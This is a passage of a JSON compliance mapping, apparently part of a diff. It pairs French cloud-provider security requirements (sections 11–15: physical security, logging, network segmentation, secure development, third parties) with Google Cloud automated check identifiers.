mesures permettant de limiter les risques de depart et de propagation de feu ainsi que les risques de degat des eaux. c) Le prestataire doit documenter et mettre en oeuvre les mesures permettant de prevenir et limiter les consequences d'une coupure d'alimentation electrique et permettre une reprise du service conformement aux exigences de disponibilite du service definies dans la convention de service. d) Le prestataire doit documenter et mettre en oeuvre les moyens permettant de maintenir des conditions de temperature et d'humidite adaptees aux equipements. De plus, il doit mettre en oeuvre des mesures permettant de prevenir les pannes de climatisation et d'en limiter les consequences. e) Le prestataire doit documenter et mettre en oeuvre des controles et tests reguliers des equipements de detection et de protection physique." + } + ], + "Checks": [] + }, + { + "Id": "11.4", + "Description": "Des mesures de securite physique pour le travail dans les zones privees et sensibles doivent etre concues et appliquees.", + "Name": "Travail dans les zones privees et sensibles", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit integrer les elements de securite physique dans la politique de securite et l'appreciation des risques conformement au niveau de securite requis par la categorie de la zone. b) Le prestataire doit documenter et mettre en oeuvre des procedures relatives au travail en zones privees et sensibles. Il doit communiquer ces procedures aux intervenants concernes." + } + ], + "Checks": [] + }, + { + "Id": "11.5", + "Description": "Les points d'acces tels que les zones de livraison et de chargement et les autres points par lesquels des personnes non autorisees peuvent penetrer dans les locaux doivent etre controles.", + "Name": "Zones de livraison et de chargement", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Les zones de livraison et de chargement et les autres points par lesquels des personnes non autorisees peuvent penetrer dans les locaux sans etre accompagnees sont considerees comme des zones publiques. b) Le prestataire doit isoler les points d'acces de ces zones vers les zones privees et sensibles, de facon a eviter les acces non autorises, ou a defaut, implementer des mesures compensatoires permettant d'assurer le meme niveau de securite." + } + ], + "Checks": [] + }, + { + "Id": "11.6", + "Description": "Le cablage electrique et de telecommunications transportant des donnees ou supportant des services d'information doit etre protege contre les interceptions, les interferences ou les dommages.", + "Name": "Securite du cablage", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des mesures permettant de proteger le cablage electrique et de telecommunication des dommages physiques et des possibilites d'interception. b) Le prestataire doit etablir et tenir a jour un plan de cablage. c) Il est recommande que le prestataire mette en oeuvre des mesures permettant d'identifier les cables (par exemple code couleur, etiquette, etc.) afin d'en faciliter l'exploitation et limiter les erreurs de manipulation." + } + ], + "Checks": [] + }, + { + "Id": "11.7", + "Description": "Les materiels doivent etre entretenus correctement pour garantir leur disponibilite permanente et leur integrite.", + "Name": "Maintenance des materiels", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des mesures permettant de s'assurer que les conditions d'installation, de maintenance et d'entretien des equipements du systeme d'information du service heberges en zones privees et sensibles sont compatibles avec les exigences de confidentialite et de disponibilite du service definies dans la convention de service. b) Le prestataire doit souscrire des contrats de maintenance permettant de disposer des mises a jour de securite des logiciels installes sur les equipements du systeme d'information du service. c) Le prestataire doit s'assurer que les supports ne peuvent etre retournes a un tiers que si les donnees du commanditaire y sont stockees chiffrees conformement au chapitre 10.1 ou ont prealablement ete detruites a l'aide d'un mecanisme d'effacement securise par reecriture de motifs aleatoires. d) Le prestataire doit documenter et mettre en oeuvre des mesures permettant de s'assurer que les conditions d'installation, de maintenance et d'entretien des equipements techniques annexes (alimentation electrique, climatisation, incendie, etc.) sont compatibles avec les exigences de disponibilite du service definies dans la convention de service." + } + ], + "Checks": [] + }, + { + "Id": "11.8", + "Description": "Les materiels, les informations ou les logiciels ne doivent pas etre sortis des locaux du prestataire sans autorisation prealable.", + "Name": "Sortie des actifs", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de transfert hors site de donnees du commanditaire, equipements et logiciels. Cette procedure doit necessiter que la direction du prestataire donne son autorisation ecrite. Dans tous les cas, le prestataire doit mettre en oeuvre les moyens permettant de garantir que le niveau de protection en confidentialite et en integrite des actifs durant leur transport est equivalent a celui sur site." + } + ], + "Checks": [] + }, + { + "Id": "11.9", + "Description": "Tous les composants des equipements contenant des supports de stockage doivent etre verifies pour s'assurer que toute donnee sensible et tout logiciel sous licence ont ete supprimes ou ecrases de facon securisee avant leur mise au rebut ou leur reutilisation.", + "Name": "Recyclage securise du materiel", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des moyens permettant d'effacer de maniere securisee par reecriture de motifs aleatoires tout support de donnees mis a disposition d'un commanditaire. Si l'espace de stockage est chiffre dans le cadre de l'exigence 10.1.a), l'effacement peut etre realise par un effacement securise de la cle de chiffrement." + } + ], + "Checks": [] + }, + { + "Id": "11.10", + "Description": "Le materiel en attente d'utilisation doit etre protege de maniere adequate.", + "Name": "Materiel en attente d'utilisation", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de protection du materiel en attente d'utilisation." + } + ], + "Checks": [] + }, + { + "Id": "12.1", + "Description": "Les procedures d'exploitation doivent etre documentees et mises a disposition de tous les utilisateurs concernes.", + "Name": "Procedures d'exploitation documentees", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter les procedures d'exploitation, les tenir a jour et les rendre accessibles au personnel concerne." + } + ], + "Checks": [] + }, + { + "Id": "12.2", + "Description": "Les changements apportes au systeme d'information du prestataire, aux processus metier, aux moyens de traitement de l'information et aux systemes qui ont une incidence sur la securite de l'information doivent etre geres.", + "Name": "Gestion des changements", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "iam", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de gestion des changements apportes aux systemes et moyens de traitement de l'information. b) Le prestataire doit documenter et mettre en oeuvre une procedure permettant, en cas d'operations realisees par le prestataire et pouvant avoir un impact sur la securite ou la disponibilite du service, de communiquer au plus tot a l'ensemble de ses commanditaires les informations suivantes : la date et l'heure programmees du debut et de la fin des operations ; la nature des operations ; les impacts sur la securite ou la disponibilite du service ; le contact au sein du prestataire. c) Dans le cadre d'un service PaaS, le prestataire doit informer au plus tot le commanditaire de toute modification a venir sur des elements logiciels sous sa responsabilite des lors que la compatibilite complete ne peut etre assuree. d) Le prestataire doit informer au plus tot le commanditaire de toute modification a venir sur les elements du service des lors qu'elle est susceptible d'occasionner une perte de fonctionnalite pour le commanditaire." + } + ], + "Checks": [ + "iam_cloud_asset_inventory_enabled", + "iam_audit_logs_enabled", + "logging_log_metric_filter_and_alert_for_compute_configuration_changes_enabled", + "logging_log_metric_filter_and_alert_for_sql_instance_configuration_changes_enabled" + ] + }, + { + "Id": "12.3", + "Description": "Les environnements de developpement, de test et d'exploitation doivent etre separes pour reduire les risques d'acces non autorise ou de changements non souhaites dans l'environnement d'exploitation.", + "Name": "Separation des environnements de developpement, de test et d'exploitation", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "organizations", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre les mesures permettant de separer physiquement les environnements lies a la production du service des autres environnements, dont les environnements de developpement." + } + ], + "Checks": [] + }, + { + "Id": "12.4", + "Description": "Des mesures de detection, de prevention et de recuperation conjuguees a une sensibilisation des utilisateurs doivent etre mises en oeuvre pour proteger le systeme d'information contre les codes malveillants.", + "Name": "Mesures contre les codes malveillants", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "artifacts", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre les mesures de detection, de prevention et de restauration pour se proteger des codes malveillants. Le perimetre d'application de cette exigence sur le systeme d'information du service doit necessairement contenir les postes utilisateurs sous la responsabilite du prestataire et les flux entrants sur ce meme systeme d'information. b) Le prestataire doit documenter et mettre en oeuvre une sensibilisation de ses employes aux risques lies aux codes malveillants et aux bonnes pratiques pour reduire l'impact d'une infection." + } + ], + "Checks": [ + "artifacts_container_analysis_enabled", + "gcr_container_scanning_enabled", + "compute_instance_shielded_vm_enabled" + ] + }, + { + "Id": "12.5", + "Description": "Des copies de sauvegarde des informations, des logiciels et des images systeme doivent etre effectuees et testees regulierement conformement a une politique de sauvegarde convenue.", + "Name": "Sauvegarde des informations", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "cloudsql", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une politique de sauvegarde et de restauration des donnees sous sa responsabilite dans le cadre du service. Cette politique doit prevoir une sauvegarde quotidienne de l'ensemble des donnees (informations, logiciels, configurations, etc.) sous la responsabilite du prestataire dans le cadre du service. b) Le prestataire doit documenter et mettre en oeuvre des mesures de protection des sauvegardes conformement a la politique de controle d'acces (voir chapitre 9). Cette politique doit prevoir une revue mensuelle des traces d'acces aux sauvegardes. c) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de tester regulierement la restauration des sauvegardes. d) Le prestataire doit localiser les sauvegardes a une distance suffisante des equipements principaux en coherence avec les resultats de l'appreciation de risques et permettant de faire face a des sinistres majeurs. Les sauvegardes sont assujetties aux memes exigences de localisation que les donnees operationnelles. Le ou les sites de sauvegarde sont assujettis aux memes exigences de securite que le site principal, en particulier celles listees aux chapitres 8 et 11. Les communications entre site principal et site de sauvegarde doivent etre protegees par chiffrement, conformement aux exigences du chapitre 10." + } + ], + "Checks": [ + "cloudsql_instance_automated_backups", + "cloudstorage_bucket_versioning_enabled", + "cloudstorage_bucket_soft_delete_enabled" + ] + }, + { + "Id": "12.6", + "Description": "Des journaux d'evenements enregistrant les activites des utilisateurs, les exceptions, les defaillances et les evenements de securite de l'information doivent etre crees, tenus a jour et regulierement revus.", + "Name": "Journalisation des evenements", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "iam", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une politique de journalisation incluant au minimum les elements suivants : la liste des sources de collecte ; la liste des evenements a journaliser par source ; l'objet de la journalisation par evenement ; la frequence de la collecte et base de temps utilisee ; la duree de retention locale et centralisee ; les mesures de protection des journaux (dont chiffrement et duplication) ; la localisation des journaux. b) Le prestataire doit generer et collecter les evenements suivants : les activites des utilisateurs liees a la securite de l'information ; la modification des droits d'acces dans le perimetre de sa responsabilite ; les evenements issus des mecanismes de lutte contre les codes malveillants (voir chapitre 12.4) ; les exceptions ; les defaillances ; tout autre evenement lie a la securite de l'information. c) Le prestataire doit conserver les evenements issus de la journalisation pendant une duree minimale de six mois sous reserve du respect des exigences legales et reglementaires. d) Le prestataire doit fournir, sur demande d'un commanditaire, l'ensemble des evenements le concernant. e) Il est recommande que le systeme de journalisation mis en place par le prestataire respecte les recommandations de [NT_JOURNAL]." + } + ], + "Checks": [ + "iam_audit_logs_enabled", + "cloudstorage_audit_logs_enabled", + "logging_sink_created", + "cloudstorage_bucket_sufficient_retention_period", + "compute_subnet_flow_logs_enabled", + "cloudstorage_bucket_logging_enabled", + "compute_loadbalancer_logging_enabled", + "compute_network_dns_logging_enabled", + "cloudsql_instance_postgres_enable_pgaudit_flag", + "cloudsql_instance_postgres_log_connections_flag", + "cloudsql_instance_postgres_log_disconnections_flag", + "cloudsql_instance_postgres_log_statement_flag", + "cloudsql_instance_postgres_log_min_error_statement_flag", + "cloudsql_instance_postgres_log_min_messages_flag" + ] + }, + { + "Id": "12.7", + "Description": "Les moyens de journalisation et les informations journalisees doivent etre proteges contre les risques de falsification et les acces non autorises.", + "Name": "Protection de l'information journalisee", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "cloudstorage", + "Type": "Automated", + "Comment": "a) Le prestataire doit proteger les equipements de journalisation et les evenements journalises contre les atteintes a leur disponibilite, integrite ou confidentialite, conformement au chapitre 3.2 de [NT_JOURNAL]. b) Le prestataire doit gerer le dimensionnement de l'espace de stockage de l'ensemble des equipements hebergeant une ou plusieurs sources de collecte afin de permettre la conservation locale des evenements journalises prevue par la politique de journalisation des evenements. Cette gestion du dimensionnement doit prendre en compte les evolutions du systeme d'information. c) Le prestataire doit transferer les evenements journalises en assurant leur protection en confidentialite et en integrite, sur un ou plusieurs serveurs centraux dedies et doit les stocker sur une machine physique distincte de celle qui les a generes. d) Le prestataire doit mettre en place une sauvegarde des evenements collectes suivant une politique adaptee. e) Le prestataire doit executer les processus de journalisation et de collecte des evenements avec des comptes disposant de privileges necessaires et suffisants et doit limiter l'acces aux evenements journalises conformement a la politique de controle d'acces (voir chapitre 9.1)." + } + ], + "Checks": [ + "cloudstorage_bucket_log_retention_policy_lock", + "cloudstorage_bucket_public_access", + "cloudstorage_bucket_logging_enabled", + "cloudstorage_bucket_uniform_bucket_level_access" + ] + }, + { + "Id": "12.8", + "Description": "Les horloges de tous les systemes de traitement de l'information pertinents d'un organisme ou d'un domaine de securite doivent etre synchronisees sur une source de reference temporelle unique.", + "Name": "Synchronisation des horloges", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une synchronisation des horloges de l'ensemble des equipements sur une ou plusieurs sources de temps internes coherentes entre elles. Ces sources pourront elles-memes etre synchronisees sur plusieurs sources fiables externes, sauf pour les reseaux isoles. b) Le prestataire doit mettre en place l'horodatage de chaque evenement journalise." + } + ], + "Checks": [] + }, + { + "Id": "12.9", + "Description": "Les evenements de securite doivent etre analyses et correles afin de detecter les incidents de securite. Des systemes de detection et de correlation doivent etre mis en oeuvre.", + "Name": "Analyse et correlation des evenements", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "logging", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une infrastructure permettant l'analyse et la correlation des evenements enregistres par le systeme de journalisation afin de detecter les evenements susceptibles d'affecter la securite du systeme d'information du service, en temps reel ou a posteriori pour des evenements remontant jusqu'a six mois. b) Il est recommande de s'appuyer sur le referentiel d'exigences des prestataires de detection d'incidents de securite [PDIS] pour la mise en place et l'exploitation de l'infrastructure d'analyse et de correlation des evenements. c) Le prestataire doit acquitter les alarmes remontees par l'infrastructure d'analyse et de correlation des evenements au moins quotidiennement." + } + ], + "Checks": [ + "logging_log_metric_filter_and_alert_for_audit_configuration_changes_enabled", + "logging_log_metric_filter_and_alert_for_project_ownership_changes_enabled", + "logging_log_metric_filter_and_alert_for_custom_role_changes_enabled", + "logging_log_metric_filter_and_alert_for_bucket_permission_changes_enabled", + "logging_log_metric_filter_and_alert_for_vpc_firewall_rule_changes_enabled", + "logging_log_metric_filter_and_alert_for_vpc_network_changes_enabled", + "logging_log_metric_filter_and_alert_for_vpc_network_route_changes_enabled", + "logging_log_metric_filter_and_alert_for_compute_configuration_changes_enabled", + "logging_log_metric_filter_and_alert_for_sql_instance_configuration_changes_enabled" + ] + }, + { + "Id": "12.10", + "Description": "Des regles regissant l'installation de logiciels par les utilisateurs doivent etre etablies et mises en oeuvre. Les systemes doivent etre geres de maniere centralisee et les correctifs appliques regulierement.", + "Name": "Installation de logiciels sur des systemes en exploitation", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "ssm", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de controler l'installation de logiciels sur les equipements du systeme d'information du service. b) Le prestataire doit documenter et mettre en oeuvre une procedure de gestion de la configuration des environnements logiciels mis a la disposition du commanditaire, notamment pour leur maintien en condition de securite. c) Le prestataire doit fournir une capacite d'inspection et de suppression, si necessaire, des entrants (controle de l'authenticite et de l'innocuite des mises a jour, controle de l'innocuite des outils fournis, etc.) relatifs au perimetre de l'infrastructure technique : cette capacite d'inspection et de suppression doit generer des journaux d'activite et doit pouvoir faire l'objet d'un audit de code ; les entrants doivent etre traites sur des dispositifs specifiques operes et maintenus par le prestataire et heberges dans une zone cloisonnee du reste de l'infrastructure (du type zone demilitarisee telle que definie dans [G_INT])." + } + ], + "Checks": [] + }, + { + "Id": "12.11", + "Description": "Les informations sur les vulnerabilites techniques des systemes d'information utilises doivent etre obtenues en temps voulu, l'exposition du prestataire a ces vulnerabilites doit etre evaluee et les mesures appropriees doivent etre prises pour traiter le risque associe.", + "Name": "Gestion des vulnerabilites techniques", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "artifacts", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre un processus de veille permettant de gerer les vulnerabilites techniques des logiciels et des systemes utilises dans le systeme d'information du service. b) Le prestataire doit evaluer son exposition a ces vulnerabilites en les incluant dans l'appreciation des risques et appliquer les mesures de traitement du risque adaptees." + } + ], + "Checks": [ + "artifacts_container_analysis_enabled", + "gcr_container_scanning_enabled" + ] + }, + { + "Id": "12.12", + "Description": "L'administration des systemes d'information du service cloud doit etre effectuee de maniere securisee via des canaux dedies et des protocoles securises.", + "Name": "Administration", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "compute", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure obligeant les administrateurs sous sa responsabilite a utiliser des terminaux dedies pour la realisation exclusive des taches d'administration, en accord avec le chapitre 4.1 intitule 'poste et reseau d'administration' de [NT_ADMIN]. Il doit les maitriser et les maintenir a jour. b) Le prestataire doit mettre en place des mesures de durcissement de la configuration des terminaux utilises pour les taches d'administration, notamment celles du chapitre 4.2 intitule 'securisation du socle' de [NT_ADMIN]. c) Lorsque le prestataire autorise une situation de mobilite pour les administrateurs sous sa responsabilite, il doit l'encadrer par une politique documentee. La solution mise en oeuvre doit assurer que le niveau de securite de cette situation de mobilite est au moins equivalent au niveau de securite hors situation de mobilite (voir chapitres 9.6 et 9.7). Cette solution doit notamment inclure : l'utilisation d'un tunnel chiffre, non debrayable et non contournable, pour l'ensemble des flux (voir chapitre 10.2) ; le chiffrement integral du disque (voir chapitre 10.1)." + } + ], + "Checks": [ + "compute_project_os_login_enabled", + "compute_project_os_login_2fa_enabled", + "compute_instance_serial_ports_in_use" + ] + }, + { + "Id": "12.13", + "Description": "Le telediagnostic et la telemaintenance des composants de l'infrastructure doivent etre encadres par des procedures de securite specifiques.", + "Name": "Telediagnostic et telemaintenance des composants de l'infrastructure", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "general", + "Type": "Manual", + "Comment": "a) Dans le cadre du telediagnostic ou de la telemaintenance de composants de l'infrastructure, considerant les risques d'atteinte a la confidentialite des donnees des commanditaires, le prestataire doit : verifier que la personne a qui l'acces doit etre autorise a satisfait aux verifications de l'exigence 7.1.b ; dans le cas d'une intervention realisee par une personne n'ayant pas satisfait aux verifications de l'exigence 7.1.b, mettre en oeuvre une passerelle securisee (poste de rebond) par laquelle la personne devra se connecter et permettant une supervision des actions (autorisation ou interdiction des actions, demande d'explications, etc.) en temps reel, par une personne ayant elle-meme satisfait aux verifications de l'exigence 7.1.b. La passerelle securisee devra repondre aux objectifs de securite specifies dans [G_EXT] ; considerer les actions menees, une fois l'acces autorise, comme des actions d'administration et les journaliser comme telles ; supprimer l'autorisation d'acces a l'issue de l'intervention." + } + ], + "Checks": [] + }, + { + "Id": "12.14", + "Description": "Les flux sortants de l'infrastructure du service cloud doivent etre surveilles afin de detecter et de prevenir les exfiltrations de donnees et les communications non autorisees.", + "Name": "Surveillance des flux sortants de l'infrastructure", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "compute", + "Type": "Automated", + "Comment": "a) Le prestataire doit fournir une capacite d'inspection et de suppression des sortants de l'infrastructure technique relatifs au perimetre du service (informations de facturation, les eventuels journaux necessaires au traitement d'incidents, etc.) : les sortants doivent pouvoir etre expurges des donnees pouvant porter atteinte a la confidentialite des donnees des commanditaires ; cette capacite d'inspection et de suppression doit generer des journaux d'activite et doit pouvoir faire l'objet d'un audit de code ; les sortants sont traites sur des dispositifs specifiques operes et maintenus par le prestataire, et heberges dans une zone cloisonnee du reste de l'infrastructure (du type zone demilitarisee telle que definie dans [G_INT])." + } + ], + "Checks": [ + "compute_subnet_flow_logs_enabled" + ] + }, + { + "Id": "13.1", + "Description": "Le prestataire doit etablir et maintenir une cartographie complete et a jour de son systeme d'information, incluant les reseaux, les flux et les composants.", + "Name": "Cartographie du systeme d'information", + "Attributes": [ + { + "Section": "13. Securite des communications", + "Service": "iam", + "Type": "Automated", + "Comment": "a) Le prestataire doit etablir et tenir a jour une cartographie du systeme d'information du service, en lien avec l'inventaire des actifs (voir chapitre 8.1), comprenant au minimum les elements suivants : la liste des ressources materielles ou virtualisees ; les noms et fonctions des applications, supportant le service ; le schema d'architecture reseau au niveau 3 du modele OSI sur lequel les points nevralgiques sont identifies : les points d'interconnexions, notamment avec les reseaux tiers et publics ; les reseaux, sous-reseaux, notamment les reseaux d'administration ; les equipements assurant des fonctions de securite (filtrage, authentification, chiffrement, etc.) ; les serveurs hebergeant des donnees ou assurant des fonctions sensibles ; la matrice des flux reseau autorises en precisant : leur description technique (services, protocoles et ports) ; la justification metier ou d'infrastructure technique ; le cas echeant, lorsque des services, protocoles ou ports reputes non surs sont utilises, les mesures compensatoires mises en place, dans la logique de defense en profondeur. b) Le prestataire doit reviser au moins annuellement la cartographie." + } + ], + "Checks": [ + "iam_cloud_asset_inventory_enabled", + "compute_subnet_flow_logs_enabled", + "compute_network_dns_logging_enabled" + ] + }, + { + "Id": "13.2", + "Description": "Les reseaux doivent etre cloisonnes et les flux entre les segments doivent etre filtres selon le principe du moindre privilege. Les groupes de securite et les listes de controle d'acces reseau doivent etre configures de maniere restrictive.", + "Name": "Cloisonnement des reseaux", + "Attributes": [ + { + "Section": "13. Securite des communications", + "Service": "compute", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre, pour le systeme d'information du service, les mesures de cloisonnement (logique, physique ou par chiffrement) pour separer les flux reseau selon : la sensibilite des informations transmises ; la nature des flux (production, administration, supervision, etc.) ; le domaine d'appartenance des flux (des commanditaires - avec distinction par commanditaire ou ensemble de commanditaires, du prestataire, des tiers, etc.) ; le domaine technique (traitement, stockage, etc.). b) Le prestataire doit cloisonner, physiquement ou par chiffrement, tous les flux de donnees internes au systeme d'information du service vis-a-vis de tout autre systeme d'information. Lorsque ce cloisonnement est realise par chiffrement, il est realise en accord avec les exigences du chapitre 10.2. c) Dans le cas ou le reseau d'administration de l'infrastructure technique ne fait pas l'objet d'un cloisonnement physique, les flux d'administration doivent transiter dans un tunnel chiffre, en accord avec les exigences du chapitre 10.2. d) Le prestataire doit mettre en place et configurer un pare-feu applicatif pour proteger les interfaces d'administration destinees a ses commanditaires et exposees sur un reseau public. e) Le prestataire doit mettre en oeuvre sur l'ensemble des interfaces d'administration et de supervision de l'infrastructure technique du service un mecanisme de filtrage n'autorisant que les connexions legitimes identifiees dans la matrice des flux autorises." + } + ], + "Checks": [ + "compute_network_default_in_use", + "compute_network_not_legacy", + "compute_firewall_rdp_access_from_the_internet_allowed", + "compute_firewall_ssh_access_from_the_internet_allowed", + "cloudstorage_uses_vpc_service_controls", + "compute_instance_single_network_interface", + "compute_instance_ip_forwarding_is_enabled" + ] + }, + { + "Id": "13.3", + "Description": "Les reseaux doivent etre surveilles de maniere continue afin de detecter les activites anormales ou malveillantes.", + "Name": "Surveillance des reseaux", + "Attributes": [ + { + "Section": "13. Securite des communications", + "Service": "compute", + "Type": "Automated", + "Comment": "a) Le prestataire doit disposer une ou plusieurs sondes de detection d'incidents de securite sur le systeme d'information du service. Ces sondes doivent notamment permettre la supervision de chacune des interconnexions du systeme d'information du service avec des systemes d'information tiers et des reseaux publics. Ces sondes doivent etre des sources de collecte pour l'infrastructure d'analyse et de correlation des evenements (voir chapitre 12.9)." + } + ], + "Checks": [ + "compute_subnet_flow_logs_enabled", + "compute_network_dns_logging_enabled" + ] + }, + { + "Id": "14.1", + "Description": "Des regles de developpement securise des logiciels et des systemes doivent etre etablies et appliquees au sein du prestataire.", + "Name": "Politique de developpement securise", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des regles de developpement securise des logiciels et des systemes, et les appliquer aux developpements internes. b) Le prestataire doit documenter et mettre en oeuvre une formation adaptee en developpement securise aux employes concernes." + } + ], + "Checks": [] + }, + { + "Id": "14.2", + "Description": "Les changements apportes aux systemes dans le cycle de developpement doivent etre geres a l'aide de procedures formelles de controle des changements.", + "Name": "Procedures de controle des changements de systeme", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "iam", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de controle des changements apportes au systeme d'information du service. b) Le prestataire doit documenter et mettre en oeuvre une procedure de validation des changements apportes au systeme d'information du service sur un environnement de pre-production avant leur mise en production. c) Le prestataire doit conserver un historique des versions des logiciels et des systemes (developpements internes ou externes, produits commerciaux) mis en oeuvre pour permettre de reconstituer, le cas echeant dans un environnement de test, un environnement complet tel qu'il etait mis en oeuvre a une date donnee. La duree de conservation de cet historique doit etre en accord avec celle des sauvegardes (voir chapitre 12.5)." + } + ], + "Checks": [ + "iam_cloud_asset_inventory_enabled", + "iam_audit_logs_enabled" + ] + }, + { + "Id": "14.3", + "Description": "Lorsque les plateformes d'exploitation sont modifiees, les applications critiques metier doivent etre revues et testees afin de verifier qu'il n'y a pas d'effet indesirable sur l'activite ou la securite du prestataire.", + "Name": "Revue technique des applications apres changement apporte a la plateforme d'exploitation", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de tester, prealablement a leur mise en production, l'ensemble des applications afin de verifier l'absence de tout effet indesirable sur l'activite ou sur la securite du service." + } + ], + "Checks": [] + }, + { + "Id": "14.4", + "Description": "Les environnements de developpement doivent etre securises et isoles des environnements de production.", + "Name": "Environnement de developpement securise", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "organizations", + "Type": "Manual", + "Comment": "a) Le prestataire doit mettre en oeuvre un environnement securise de developpement permettant de gerer l'integralite du cycle de developpement du systeme d'information du service. b) Le prestataire doit prendre en compte les environnements de developpement dans l'appreciation des risques et en assurer la protection conformement au present referentiel." + } + ], + "Checks": [] + }, + { + "Id": "14.5", + "Description": "Le prestataire doit superviser et surveiller l'activite de developpement externalise du systeme.", + "Name": "Developpement externalise", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de superviser et de controler l'activite de developpement externalise des logiciels et des systemes. Cette procedure doit s'assurer que l'activite de developpement externalise soit conforme a la politique de developpement securise du prestataire et permette d'atteindre un niveau de securite du developpement externe equivalent a celui d'un developpement interne (voir exigence 14.1 a))." + } + ], + "Checks": [] + }, + { + "Id": "14.6", + "Description": "Des tests de securite et de conformite doivent etre effectues tout au long du cycle de developpement et apres chaque changement significatif.", + "Name": "Test de la securite et conformite du systeme", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "artifacts", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit soumettre les systemes d'information, nouveaux ou mis a jour, a des tests de conformite et de fonctionnalite de securite pendant le developpement. Il doit documenter et mettre en oeuvre une procedure de test qui identifie : les taches a realiser ; les donnees d'entree ; les resultats attendus en sortie." + } + ], + "Checks": [ + "artifacts_container_analysis_enabled", + "gcr_container_scanning_enabled" + ] + }, + { + "Id": "14.7", + "Description": "Les donnees de test doivent etre soigneusement selectionnees, protegees et controlees.", + "Name": "Protection des donnees de test", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant d'assurer l'integrite des donnees de tests utilises en pre-production. b) Si le prestataire souhaite utiliser des donnees du commanditaire issues de la production pour realiser des tests, le prestataire doit prealablement obtenir l'accord du commanditaire et les anonymiser. Le prestataire doit assurer la confidentialite des donnees lors de leur anonymisation." + } + ], + "Checks": [] + }, + { + "Id": "15.1", + "Description": "Le prestataire doit identifier les tiers ayant acces a l'information ou aux moyens de traitement de l'information et evaluer les risques associes.", + "Name": "Identification des tiers", + "Attributes": [ + { + "Section": "15. Relations avec les tiers", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit tenir a jour une liste exhaustive des tiers participant a la mise en oeuvre du service (hebergeur, developpeur, integrateur, archiveur, sous-traitant operant sur site ou a distance, fournisseurs de climatisation, etc.). Cette liste doit preciser la contribution du tiers au service et au traitement des donnees a caractere personnel. Elle doit tenir compte des cas de sous-traitance a plusieurs niveaux. b) Le prestataire doit tenir a disposition du commanditaire la liste de l'ensemble des tiers qui peuvent acceder aux donnees et l'informer de tout changement de sous-traitants au sens de l'article 28 du [RGPD] afin que le commanditaire puisse emettre des objections a cet egard." + } + ], + "Checks": [] + }, + { + "Id": "15.2", + "Description": "Tous les aspects pertinents de la securite de l'information doivent etre traites dans les accords conclus avec les tiers.", + "Name": "La securite dans les accords conclus avec les tiers", + "Attributes": [ + { + "Section": "15. Relations avec les tiers", + "Service": "general", + "Type": "Manual", + 